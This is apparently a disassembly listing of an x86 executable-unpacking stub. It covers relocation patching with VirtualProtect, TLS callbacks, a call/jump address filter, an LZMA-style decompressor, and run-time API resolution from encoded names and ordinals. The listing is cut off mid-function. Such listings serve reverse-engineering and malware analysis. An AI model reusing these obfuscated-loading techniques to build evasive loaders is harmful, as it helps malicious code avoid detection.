var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, ds:dword_501028
push ebx
push esi
push edi
mov eax, [ecx+3Ch]
add eax, ecx
mov [ebp+var_10], eax
mov eax, ds:off_501024
cmp [eax+54h], ecx
jz loc_501EC6
mov eax, [eax+60h]
test eax, eax
jz loc_501EC6
lea edi, [eax+ecx]
loc_501E22: ; CODE XREF: sub_501DEF+CEj
cmp dword ptr [edi], 0
jz loc_501EC6
lea eax, [edi+8]
and [ebp+var_8], 0
mov [ebp+var_4], eax
mov eax, [edi+4]
sub eax, 8
cdq
sub eax, edx
sar eax, 1
test eax, eax
jle short loc_501EBA
loc_501E44: ; CODE XREF: sub_501DEF+C9j
mov eax, [ebp+var_4]
movzx eax, word ptr [eax]
mov esi, eax
and esi, 0FFFh
add esi, [edi]
add esi, ecx
shr eax, 0Ch
jz short loc_501EA3
cmp eax, 3
jnz short loc_501EC2
mov eax, ds:off_501024
mov ebx, [esi]
sub ebx, [eax+54h]
add ebx, ecx
cmp ebx, ecx
jb short loc_501EC2
mov eax, [ebp+var_10]
mov eax, [eax+50h]
add eax, ecx
cmp ebx, eax
ja short loc_501EC2
lea eax, [ebp+var_C]
push eax
push 40h
push 4
push esi
call ds:dword_5010EC ; VirtualProtect
lea eax, [ebp+var_C]
mov [esi], ebx
push eax
push [ebp+var_C]
push 4
push esi
call ds:dword_5010EC ; VirtualProtect
mov ecx, ds:dword_501028
loc_501EA3: ; CODE XREF: sub_501DEF+6Aj
mov eax, [edi+4]
add [ebp+var_4], 2
inc [ebp+var_8]
sub eax, 8
cdq
sub eax, edx
sar eax, 1
cmp [ebp+var_8], eax
jl short loc_501E44
loc_501EBA: ; CODE XREF: sub_501DEF+53j
add edi, [edi+4]
jmp loc_501E22
; ---------------------------------------------------------------------------
loc_501EC2: ; CODE XREF: sub_501DEF+6Fj
; sub_501DEF+7Fj ...
xor eax, eax
jmp short loc_501EC9
; ---------------------------------------------------------------------------
loc_501EC6: ; CODE XREF: sub_501DEF+1Fj
; sub_501DEF+2Aj ...
push 1
pop eax
loc_501EC9: ; CODE XREF: sub_501DEF+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_501DEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501ECE proc near ; CODE XREF: sub_501F30+A5p
; DATA XREF: .ex_cod:00501004o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp ds:dword_501010, 0
push esi
jz short loc_501F09
mov eax, ds:off_501024
mov ecx, [eax+1Ch]
sub ecx, [eax+50h]
add ecx, offset start
mov esi, [ecx+0Ch]
test esi, esi
jz short loc_501F2B
loc_501EF3: ; CODE XREF: sub_501ECE+39j
mov eax, [esi]
test eax, eax
jz short loc_501F2B
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call eax
add esi, 4
jmp short loc_501EF3
; ---------------------------------------------------------------------------
loc_501F09: ; CODE XREF: sub_501ECE+Bj
mov eax, [ebp+arg_0]
mov ds:dword_501014, 1
mov ds:dword_501018, eax
mov eax, [ebp+arg_4]
mov ds:dword_50101C, eax
mov eax, [ebp+arg_8]
mov ds:dword_501020, eax
loc_501F2B: ; CODE XREF: sub_501ECE+23j
; sub_501ECE+29j
pop esi
pop ebp
retn 0Ch
sub_501ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501F30 proc near ; CODE XREF: start+860p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:off_501024
cmp dword ptr [eax+68h], 0
jz short loc_501FB0
cmp ds:dword_50100C, 0FFFFFFFFh
jz short loc_501FB0
push ebx
push esi
push edi
mov ecx, ds:dword_50100C
mov edx, large fs:2Ch
mov ecx, [edx+ecx*4]
mov [ebp+var_4], ecx
mov ecx, ds:off_501024
mov edx, ds:dword_50100C
mov edi, [ebp+var_4]
mov eax, [ecx+1Ch]
sub eax, [ecx+50h]
add eax, offset start
mov ecx, [eax+8]
mov [ecx], edx
mov esi, [eax]
mov edx, [eax+4]
sub edx, esi
mov ecx, edx
mov ebx, ecx
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, [ebp+var_4]
mov ecx, [eax+10h]
xor eax, eax
lea edi, [edx+esi]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
pop esi
pop ebx
loc_501FB0: ; CODE XREF: sub_501F30+Dj
; sub_501F30+16j
cmp ds:dword_501014, 0
mov ds:dword_501010, 1
jz short locret_501FDA
push ds:dword_501020
push ds:dword_50101C
push ds:dword_501018
call sub_501ECE
locret_501FDA: ; CODE XREF: sub_501F30+91j
leave
retn
sub_501F30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_501FDC proc near ; CODE XREF: sub_501368+CAp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
push 1
mov esi, [ebp+arg_C]
pop ecx
mov [ebp+var_2C], ecx
mov [ebp+var_28], ecx
mov [ebp+var_24], ecx
xor eax, eax
and [ebp+var_C], al
mov [ebp+var_1C], ecx
mov [ebp+var_B], cl
mov ecx, [ebp+arg_4]
add ecx, 0FFFFFFFBh
mov [ebp+var_20], eax
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_A], 2
mov [ebp+var_9], 2
mov [ebp+var_8], 3
mov [ebp+var_7], 3
mov [ebp+var_6], 3
mov [ebp+var_5], 3
mov [ebp+var_4], ecx
loc_50202C: ; CODE XREF: sub_501FDC+16Fj
mov edi, [ebp+arg_0]
mov cl, [eax+edi]
cmp cl, 0E8h
jz short loc_502042
cmp cl, 0E9h
jz short loc_502042
inc eax
jmp loc_502148
; ---------------------------------------------------------------------------
loc_502042: ; CODE XREF: sub_501FDC+59j
; sub_501FDC+5Ej
mov edx, [ebp+arg_10]
mov ebx, [ebp+arg_8]
mov ecx, eax
sub ecx, [edx]
add ecx, ebx
add ebx, eax
cmp ecx, 5
mov [edx], ebx
jbe short loc_50205C
and dword ptr [esi], 0
jmp short loc_50206C
; ---------------------------------------------------------------------------
loc_50205C: ; CODE XREF: sub_501FDC+79j
test ecx, ecx
jbe short loc_50206C
loc_502060: ; CODE XREF: sub_501FDC+8Ej
mov edx, [esi]
and edx, 77h
shl edx, 1
dec ecx
mov [esi], edx
jnz short loc_502060
loc_50206C: ; CODE XREF: sub_501FDC+7Ej
; sub_501FDC+82j
mov dl, [eax+edi+4]
test dl, dl
jz short loc_50207D
cmp dl, 0FFh
jnz loc_502134
loc_50207D: ; CODE XREF: sub_501FDC+96j
mov ecx, [esi]
mov [ebp+arg_4], ecx
shr [ebp+arg_4], 1
mov ebx, [ebp+arg_4]
and ebx, 7
cmp [ebp+ebx*4+var_2C], 0
jz loc_502134
and ecx, 0FFFFFFFEh
cmp ecx, 20h
jnb loc_502134
xor ecx, ecx
mov ch, dl
mov cl, [eax+edi+3]
movzx edx, byte ptr [eax+edi+2]
shl ecx, 8
or ecx, edx
movzx edx, byte ptr [eax+edi+1]
shl ecx, 8
or edx, ecx
loc_5020BE: ; CODE XREF: sub_501FDC+125j
sub edx, eax
sub edx, [ebp+arg_8]
sub edx, 5
cmp dword ptr [esi], 0
mov ebx, edx
jz short loc_502106
mov ecx, [ebp+arg_4]
push 18h
movzx edi, [ebp+ecx+var_C]
mov ecx, edi
shl ecx, 3
mov edx, ecx
pop ecx
sub ecx, edx
mov edx, ebx
shr edx, cl
test dl, dl
jz short loc_5020EE
cmp dl, 0FFh
jnz short loc_502103
loc_5020EE: ; CODE XREF: sub_501FDC+10Bj
push 4
pop ecx
sub ecx, edi
push 1
shl ecx, 3
pop edx
mov edi, [ebp+arg_0]
shl edx, cl
dec edx
xor edx, ebx
jmp short loc_5020BE
; ---------------------------------------------------------------------------
loc_502103: ; CODE XREF: sub_501FDC+110j
mov edi, [ebp+arg_0]
loc_502106: ; CODE XREF: sub_501FDC+EFj
mov ecx, ebx
add eax, 5
shr ecx, 18h
and cl, 1
dec cl
not cl
mov [eax+edi-1], cl
mov ecx, ebx
shr ecx, 10h
mov [eax+edi-2], cl
mov ecx, ebx
shr ecx, 8
mov [eax+edi-3], cl
mov [eax+edi-4], bl
and dword ptr [esi], 0
jmp short loc_502148
; ---------------------------------------------------------------------------
loc_502134: ; CODE XREF: sub_501FDC+9Bj
; sub_501FDC+B4j ...
or dword ptr [esi], 1
mov ecx, [esi]
inc eax
test dl, dl
jz short loc_502143
cmp dl, 0FFh
jnz short loc_502148
loc_502143: ; CODE XREF: sub_501FDC+160j
or ecx, 10h
mov [esi], ecx
loc_502148: ; CODE XREF: sub_501FDC+61j
; sub_501FDC+156j ...
cmp eax, [ebp+var_4]
jbe loc_50202C
pop edi
pop esi
pop ebx
leave
retn
sub_501FDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_502156 proc near ; CODE XREF: sub_5023E9+309p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
push esi
xor eax, eax
mov esi, [ecx+8]
push edi
mov edi, [ecx+0Ch]
test edx, edx
jle short loc_5021AE
push ebx
mov [ebp+arg_0], edx
loc_502171: ; CODE XREF: sub_502156+55j
shr esi, 1
shl eax, 1
cmp edi, esi
jb short loc_50217D
sub edi, esi
or al, 1
loc_50217D: ; CODE XREF: sub_502156+21j
cmp esi, 1000000h
jnb short loc_5021A8
mov edx, [ecx]
shl esi, 8
cmp edx, [ecx+4]
jnz short loc_50219B
mov dword ptr [ecx+10h], 1
or bl, 0FFh
jmp short loc_5021A0
; ---------------------------------------------------------------------------
loc_50219B: ; CODE XREF: sub_502156+37j
mov bl, [edx]
inc edx
mov [ecx], edx
loc_5021A0: ; CODE XREF: sub_502156+43j
movzx edx, bl
shl edi, 8
or edi, edx
loc_5021A8: ; CODE XREF: sub_502156+2Dj
dec [ebp+arg_0]
jnz short loc_502171
pop ebx
loc_5021AE: ; CODE XREF: sub_502156+15j
mov [ecx+0Ch], edi
mov [ecx+8], esi
pop edi
pop esi
pop ebp
retn
sub_502156 endp
; =============== S U B R O U T I N E =======================================
sub_5021B8 proc near ; CODE XREF: sub_50227D+1Dp
; sub_5022B4+1Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
push edi
mov eax, [ecx+8]
movzx esi, word ptr [edx]
mov edi, eax
shr edi, 0Bh
imul edi, esi
mov esi, [ecx+0Ch]
cmp esi, edi
jnb short loc_502229
mov [ecx+8], edi
mov ax, [edx]
movzx esi, ax
mov edi, 800h
sub edi, esi
sar edi, 5
add edi, eax
mov [edx], di
mov eax, [ecx+8]
cmp eax, 1000000h
jnb short loc_502225
mov esi, [ecx]
cmp esi, [ecx+4]
jnz short loc_50220C
mov dword ptr [ecx+10h], 1
or dl, 0FFh
jmp short loc_502211
; ---------------------------------------------------------------------------
loc_50220C: ; CODE XREF: sub_5021B8+46j
mov dl, [esi]
inc esi
mov [ecx], esi
loc_502211: ; CODE XREF: sub_5021B8+52j
mov esi, [ecx+0Ch]
movzx edx, dl
shl esi, 8
or esi, edx
shl eax, 8
mov [ecx+0Ch], esi
mov [ecx+8], eax
loc_502225: ; CODE XREF: sub_5021B8+3Fj
xor eax, eax
jmp short loc_50227A
; ---------------------------------------------------------------------------
loc_502229: ; CODE XREF: sub_5021B8+1Dj
sub eax, edi
sub esi, edi
mov [ecx+8], eax
mov [ecx+0Ch], esi
mov ax, [edx]
push 1
mov si, ax
shr si, 5
sub eax, esi
mov [edx], ax
mov edx, [ecx+8]
cmp edx, 1000000h
pop eax
jnb short loc_50227A
mov esi, [ecx]
push ebx
cmp esi, [ecx+4]
jnz short loc_502260
mov [ecx+10h], eax
or bl, 0FFh
jmp short loc_502265
; ---------------------------------------------------------------------------
loc_502260: ; CODE XREF: sub_5021B8+9Ej
mov bl, [esi]
inc esi
mov [ecx], esi
loc_502265: ; CODE XREF: sub_5021B8+A6j
mov esi, [ecx+0Ch]
movzx edi, bl
shl esi, 8
or esi, edi
pop ebx
shl edx, 8
mov [ecx+0Ch], esi
mov [ecx+8], edx
loc_50227A: ; CODE XREF: sub_5021B8+6Fj
; sub_5021B8+96j
pop edi
pop esi
retn
sub_5021B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50227D proc near ; CODE XREF: sub_502374+26p
; sub_502374+51p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push 1
pop eax
jle short loc_5022A8
push esi
push edi
mov edi, [ebp+arg_4]
loc_50228E: ; CODE XREF: sub_50227D+27j
push [ebp+arg_8]
lea esi, [eax+eax]
mov eax, [ebp+arg_0]
add eax, esi
push eax
call sub_5021B8
pop ecx
add eax, esi
dec edi
pop ecx
jnz short loc_50228E
pop edi
pop esi
loc_5022A8: ; CODE XREF: sub_50227D+Aj
mov ecx, [ebp+arg_4]
push 1
pop edx
shl edx, cl
sub eax, edx
pop ebp
retn
sub_50227D endp
; =============== S U B R O U T I N E =======================================
sub_5022B4 proc near ; CODE XREF: sub_5023E9+2F5p
; sub_5023E9+320p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push edi
xor ebx, ebx
push 1
xor edi, edi
cmp [esp+0Ch+arg_4], ebx
pop edx
jle short loc_5022EA
push esi
loc_5022C4: ; CODE XREF: sub_5022B4+33j
mov eax, [esp+0Ch+arg_0]
push [esp+0Ch+arg_8]
lea esi, [edx+edx]
add eax, esi
push eax
call sub_5021B8
pop ecx
lea edx, [esi+eax]
pop ecx
mov ecx, edi
shl eax, cl
or ebx, eax
inc edi
cmp edi, [esp+0Ch+arg_4]
jl short loc_5022C4
pop esi
loc_5022EA: ; CODE XREF: sub_5022B4+Dj
mov eax, ebx
pop edi
pop ebx
retn
sub_5022B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5022EF proc near ; CODE XREF: sub_5023E9+143p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
movzx esi, [ebp+arg_8]
shr esi, 7
shl [ebp+arg_8], 1
mov eax, esi
push edi
mov edi, [ebp+arg_0]
push [ebp+arg_4]
shl eax, 9
lea eax, [eax+edi+202h]
push eax
call sub_5021B8
pop ecx
mov ebx, eax
pop ecx
or ebx, 2
loc_50231E: ; CODE XREF: sub_5022EF+5Fj
cmp esi, eax
jnz short loc_502350
cmp ebx, 100h
jge short loc_50236D
movzx esi, [ebp+arg_8]
shr esi, 7
push [ebp+arg_4]
lea eax, [esi+1]
shl [ebp+arg_8], 1
shl eax, 8
add eax, ebx
lea eax, [edi+eax*2]
push eax
call sub_5021B8
pop ecx
add ebx, ebx
pop ecx
or ebx, eax
jmp short loc_50231E
; ---------------------------------------------------------------------------
loc_502350: ; CODE XREF: sub_5022EF+31j
mov esi, 100h
loc_502355: ; CODE XREF: sub_5022EF+7Cj
cmp ebx, esi
jge short loc_50236D
push [ebp+arg_4]
add ebx, ebx
lea eax, [ebx+edi]
push eax
call sub_5021B8
pop ecx
or ebx, eax
pop ecx
jmp short loc_502355
; ---------------------------------------------------------------------------
loc_50236D: ; CODE XREF: sub_5022EF+39j
; sub_5022EF+68j
pop edi
mov al, bl
pop esi
pop ebx
pop ebp
retn
sub_5022EF endp
; =============== S U B R O U T I N E =======================================
sub_502374 proc near ; CODE XREF: sub_5023E9+24Fp
; sub_5023E9+29Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push edi
push esi
call sub_5021B8
pop ecx
pop ecx
test eax, eax
push edi
jnz short loc_5023A4
mov eax, [esp+0Ch+arg_8]
push 3
shl eax, 4
lea eax, [eax+esi+4]
push eax
call sub_50227D
add esp, 0Ch
jmp short loc_5023E6
; ---------------------------------------------------------------------------
loc_5023A4: ; CODE XREF: sub_502374+16j
lea eax, [esi+2]
push eax
call sub_5021B8
pop ecx
pop ecx
test eax, eax
push edi
jnz short loc_5023D2
mov eax, [esp+0Ch+arg_8]
push 3
shl eax, 4
lea eax, [eax+esi+104h]
push eax
call sub_50227D
add esp, 0Ch
add eax, 8
jmp short loc_5023E6
; ---------------------------------------------------------------------------
loc_5023D2: ; CODE XREF: sub_502374+3Ej
add esi, 204h
push 8
push esi
call sub_50227D
add esp, 0Ch
add eax, 10h
loc_5023E6: ; CODE XREF: sub_502374+2Ej
; sub_502374+5Cj
pop edi
pop esi
retn
sub_502374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5023E9 proc near ; CODE XREF: sub_501368+95p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_C]
push 1
pop edx
xor bl, bl
lea ecx, [eax+edi]
mov eax, 300h
shl eax, cl
xor ecx, ecx
mov esi, edx
mov [ebp+var_4], ecx
mov [ebp+var_14], ecx
mov [ebp+arg_C], ecx
mov ecx, [ebp+arg_10]
shl esi, cl
add eax, 736h
mov ecx, edi
mov [ebp+var_8], edx
mov [ebp+var_10], edx
mov [ebp+var_C], edx
mov [ebp+var_18], edx
dec esi
mov [ebp+var_1C], esi
mov esi, edx
shl esi, cl
dec esi
mov [ebp+var_20], esi
mov esi, [ebp+arg_0]
test eax, eax
jbe short loc_502451
mov ecx, eax
mov eax, 4000400h
mov edi, esi
shr ecx, 1
rep stosd
adc ecx, ecx
rep stosw
loc_502451: ; CODE XREF: sub_5023E9+54j
mov eax, [ebp+arg_14]
mov ecx, [ebp+arg_18]
and [ebp+var_24], 0
and [ebp+var_28], 0
or [ebp+var_2C], 0FFFFFFFFh
lea edi, [eax+ecx]
mov [ebp+var_34], eax
mov [ebp+var_30], edi
mov [ebp+arg_10], 5
loc_502473: ; CODE XREF: sub_5023E9+AFj
cmp [ebp+var_34], edi
jnz short loc_50247F
mov [ebp+var_24], edx
or al, 0FFh
jmp short loc_502487
; ---------------------------------------------------------------------------
loc_50247F: ; CODE XREF: sub_5023E9+8Dj
mov eax, [ebp+var_34]
mov al, [eax]
inc [ebp+var_34]
loc_502487: ; CODE XREF: sub_5023E9+94j
mov ecx, [ebp+var_28]
movzx eax, al
shl ecx, 8
or ecx, eax
dec [ebp+arg_10]
mov [ebp+var_28], ecx
jnz short loc_502473
mov eax, [ebp+arg_24]
and dword ptr [eax], 0
cmp [ebp+arg_20], 0
jbe loc_50274F
loc_5024AA: ; CODE XREF: sub_5023E9+360j
mov edi, [ebp+var_1C]
lea eax, [ebp+var_34]
and edi, [ebp+arg_C]
push eax
mov eax, [ebp+var_4]
shl eax, 4
add eax, edi
lea eax, [esi+eax*2]
push eax
call sub_5021B8
pop ecx
test eax, eax
pop ecx
jnz loc_50255F
mov edx, [ebp+var_20]
mov cl, 8
sub cl, byte ptr [ebp+arg_8]
and edx, [ebp+arg_C]
movzx eax, bl
shr eax, cl
mov ecx, [ebp+arg_8]
shl edx, cl
add eax, edx
lea eax, [eax+eax*2]
shl eax, 9
cmp [ebp+var_4], 4
lea edi, [eax+esi+0E6Ch]
jge short loc_5024FF
and [ebp+var_4], 0
jmp short loc_50250F
; ---------------------------------------------------------------------------
loc_5024FF: ; CODE XREF: sub_5023E9+10Ej
cmp [ebp+var_4], 0Ah
jge short loc_50250B
sub [ebp+var_4], 3
jmp short loc_50250F
; ---------------------------------------------------------------------------
loc_50250B: ; CODE XREF: sub_5023E9+11Aj
sub [ebp+var_4], 6
loc_50250F: ; CODE XREF: sub_5023E9+114j
; sub_5023E9+120j
cmp [ebp+var_14], 0
jz short loc_50253C
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_1C]
sub eax, [ebp+var_8]
mov al, [eax+ecx]
mov byte ptr [ebp+arg_10], al
lea eax, [ebp+var_34]
push [ebp+arg_10]
push eax
push edi
call sub_5022EF
add esp, 0Ch
and [ebp+var_14], 0
mov bl, al
jmp short loc_50255A
; ---------------------------------------------------------------------------
loc_50253C: ; CODE XREF: sub_5023E9+12Aj
push 1
pop ebx
loc_50253F: ; CODE XREF: sub_5023E9+16Fj
add ebx, ebx
lea eax, [ebp+var_34]
push eax
lea eax, [ebx+edi]
push eax
call sub_5021B8
or ebx, eax
pop ecx
cmp ebx, 100h
pop ecx
jl short loc_50253F
loc_50255A: ; CODE XREF: sub_5023E9+151j
mov eax, [ebp+arg_1C]
jmp short loc_5025D2
; ---------------------------------------------------------------------------
loc_50255F: ; CODE XREF: sub_5023E9+E0j
mov ebx, [ebp+var_4]
lea eax, [ebp+var_34]
push eax
mov [ebp+var_14], 1
lea eax, [esi+ebx*2+180h]
push eax
call sub_5021B8
pop ecx
cmp eax, 1
pop ecx
jnz loc_502658
lea eax, [ebp+var_34]
push eax
lea eax, [esi+ebx*2+198h]
push eax
call sub_5021B8
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_34]
push eax
jnz short loc_5025E0
lea eax, [ebx+0Fh]
shl eax, 4
add eax, edi
lea eax, [esi+eax*2]
push eax
call sub_5021B8
pop ecx
test eax, eax
pop ecx
jnz short loc_50262C
cmp ebx, 7
mov ecx, [ebp+arg_C]
setnl al
dec eax
and al, 0FEh
add eax, 0Bh
sub ecx, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+arg_1C]
mov bl, [ecx+eax]
loc_5025D2: ; CODE XREF: sub_5023E9+174j
mov ecx, [ebp+arg_C]
inc [ebp+arg_C]
mov [ecx+eax], bl
jmp loc_502743
; ---------------------------------------------------------------------------
loc_5025E0: ; CODE XREF: sub_5023E9+1B5j
lea eax, [esi+ebx*2+1B0h]
push eax
call sub_5021B8
pop ecx
test eax, eax
pop ecx
jnz short loc_5025F8
mov eax, [ebp+var_10]
jmp short loc_502623
; ---------------------------------------------------------------------------
loc_5025F8: ; CODE XREF: sub_5023E9+208j
lea eax, [ebp+var_34]
push eax
lea eax, [esi+ebx*2+1C8h]
push eax
call sub_5021B8
pop ecx
test eax, eax
pop ecx
jnz short loc_502614
mov eax, [ebp+var_C]
jmp short loc_50261D
; ---------------------------------------------------------------------------
loc_502614: ; CODE XREF: sub_5023E9+224j
mov ecx, [ebp+var_C]
mov eax, [ebp+var_18]
mov [ebp+var_18], ecx
loc_50261D: ; CODE XREF: sub_5023E9+229j
mov ecx, [ebp+var_10]
mov [ebp+var_C], ecx
loc_502623: ; CODE XREF: sub_5023E9+20Dj
mov ecx, [ebp+var_8]
mov [ebp+var_8], eax
mov [ebp+var_10], ecx
loc_50262C: ; CODE XREF: sub_5023E9+1CCj
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [esi+0A68h]
push eax
call sub_502374
mov edi, eax
add esp, 0Ch
xor eax, eax
cmp ebx, 7
setnl al
dec eax
and al, 0FDh
add eax, 0Bh
mov [ebp+var_4], eax
jmp loc_50271C
; ---------------------------------------------------------------------------
loc_502658: ; CODE XREF: sub_5023E9+196j
mov eax, [ebp+var_C]
push edi
mov [ebp+var_18], eax
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
xor eax, eax
cmp ebx, 7
setnl al
dec eax
and al, 0FDh
add eax, 0Ah
mov [ebp+var_4], eax
lea eax, [ebp+var_34]
push eax
lea eax, [esi+664h]
push eax
call sub_502374
mov edi, eax
add esp, 0Ch
cmp edi, 4
jge short loc_502698
jmp short loc_50269B
; ---------------------------------------------------------------------------
loc_502698: ; CODE XREF: sub_5023E9+2ABj
push 3
pop eax
loc_50269B: ; CODE XREF: sub_5023E9+2ADj
shl eax, 7
lea ecx, [ebp+var_34]
push ecx
lea eax, [eax+esi+360h]
push 6
push eax
call sub_50227D
add esp, 0Ch
cmp eax, 4
jl short loc_502713
mov ecx, eax
mov ebx, eax
sar ecx, 1
and ebx, 1
dec ecx
or ebx, 2
shl ebx, cl
cmp eax, 0Eh
jge short loc_5026EA
lea edx, [ebp+var_34]
push edx
push ecx
mov ecx, ebx
sub ecx, eax
lea eax, [esi+ecx*2+55Eh]
push eax
call sub_5022B4
add esp, 0Ch
loc_5026E6: ; CODE XREF: sub_5023E9+328j
add ebx, eax
jmp short loc_502718
; ---------------------------------------------------------------------------
loc_5026EA: ; CODE XREF: sub_5023E9+2E2j
add ecx, 0FFFFFFFCh
lea eax, [ebp+var_34]
push ecx
push eax
call sub_502156
shl eax, 4
add ebx, eax
lea eax, [ebp+var_34]
push eax
lea eax, [esi+644h]
push 4
push eax
call sub_5022B4
add esp, 14h
jmp short loc_5026E6
; ---------------------------------------------------------------------------
loc_502713: ; CODE XREF: sub_5023E9+2CEj
mov [ebp+var_8], eax
mov ebx, eax
loc_502718: ; CODE XREF: sub_5023E9+2FFj
inc ebx
mov [ebp+var_8], ebx
loc_50271C: ; CODE XREF: sub_5023E9+26Aj
cmp [ebp+var_8], 0
jz short loc_50274F
inc edi
inc edi
loc_502724: ; CODE XREF: sub_5023E9+358j
mov ecx, [ebp+arg_C]
mov eax, [ebp+arg_1C]
mov edx, ecx
sub edx, [ebp+var_8]
mov bl, [edx+eax]
mov [ecx+eax], bl
inc ecx
dec edi
mov [ebp+arg_C], ecx
test edi, edi
jle short loc_502743
cmp ecx, [ebp+arg_20]
jb short loc_502724
loc_502743: ; CODE XREF: sub_5023E9+1F2j
; sub_5023E9+353j
mov eax, [ebp+arg_C]
cmp eax, [ebp+arg_20]
jb loc_5024AA
loc_50274F: ; CODE XREF: sub_5023E9+BBj
; sub_5023E9+337j
mov ecx, [ebp+arg_24]
mov eax, [ebp+arg_C]
pop edi
pop esi
mov [ecx], eax
xor eax, eax
pop ebx
leave
retn
sub_5023E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50275E proc near ; CODE XREF: start+20Ap
var_48 = byte ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
xor ebx, ebx
push 0Eh
mov [ebp+var_14], ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_502A51
mov edi, ds:dword_5010F8
pop ecx
push eax
call edi ; LoadLibraryA
push 11h
mov [ebp+var_18], eax
call sub_502A51
mov esi, ds:dword_5010E0
pop ecx
push eax
push [ebp+var_18]
call esi ; GetProcAddress
push 12h
mov [ebp+var_1C], eax
call sub_502A51
pop ecx
push eax
push [ebp+var_18]
call esi ; GetProcAddress
push 0Fh
mov [ebp+var_38], eax
call sub_502A51
pop ecx
push eax
call edi ; LoadLibraryA
push 13h
mov [ebp+var_34], eax
call sub_502A51
pop ecx
push eax
push [ebp+var_34]
call esi ; GetProcAddress
push 10h
mov [ebp+var_18], eax
call sub_502A51
pop ecx
push eax
call edi ; LoadLibraryA
mov edi, eax
push 19Bh
push edi
call esi ; GetProcAddress
push 17h
push edi
mov [ebp+var_20], eax
call esi ; GetProcAddress
push 18h
push edi
mov [ebp+var_24], eax
call esi ; GetProcAddress
push 8
push edi
mov [ebp+var_2C], eax
call esi ; GetProcAddress
push 10h
push edi
mov [ebp+var_30], eax
call esi ; GetProcAddress
cmp [ebp+var_1C], ebx
mov [ebp+var_34], eax
jz loc_502A08
cmp [ebp+var_38], ebx
jz loc_502A08
cmp [ebp+var_18], ebx
jz loc_502A08
cmp [ebp+var_20], ebx
jz loc_502A08
cmp [ebp+var_24], ebx
jz loc_502A08
cmp [ebp+var_2C], ebx
jz loc_502A08
cmp [ebp+var_30], ebx
jz loc_502A08
cmp eax, ebx
jz loc_502A08
push ebx
call [ebp+var_1C]
mov esi, eax
cmp esi, ebx
jl loc_50296C
